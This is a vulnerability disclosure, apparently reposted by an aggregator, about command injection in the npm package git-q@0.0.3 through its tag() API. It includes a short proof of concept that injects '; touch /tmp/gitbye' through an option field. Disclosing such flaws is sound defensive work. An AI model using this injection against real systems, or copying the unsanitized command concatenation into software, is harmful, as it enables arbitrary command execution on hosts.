← 返回列表

Command Injection vulnerability in `git-q@0.0.3`

单站 Node.js Security 发布 Sat, 22 Nov 2025 00:00:00 GMT 入库 2026-11-17T04:09:36

\~ 1 min read

Command Injection vulnerability in `git-q@0.0.3`

Publicly disclosing a Command Injection vulnerability in the `git-q` npm package, which allows attackers to execute arbitrary commands on the host system via unsanitized user input.

The git-q npm package describes itself as a thin Q promise wrapper for Git commands. Attempts to contact the maintainer through the GitHub repository through an open issue were unfortunately not successful, and this write-up is the public disclosure of the vulnerability.

Resources:

Background on exploitation

I’m reporting a Command Injection vulnerability in git-q npm package.

This vulnerability manifests with the library’s tag(options) API,
which allows user input to specify the tagged version and a commit message.
However, this input is passed as-is to the git command and concatenated as
the whole command string, making it vulnerable to command injection.

Exploit

  1. Install git-q@0.0.3
  2. Establish the following POC:
var GitQ = require("git-q");var gitQ = new GitQ();
gitQ  .tag({ a: "; touch /tmp/gitbye" })  .done();
  1. Observe new file created on disk at /tmp/gitbye
原文链接:https://www.nodejs-security.com/blog/command-injection-vulnerability-in-git-q/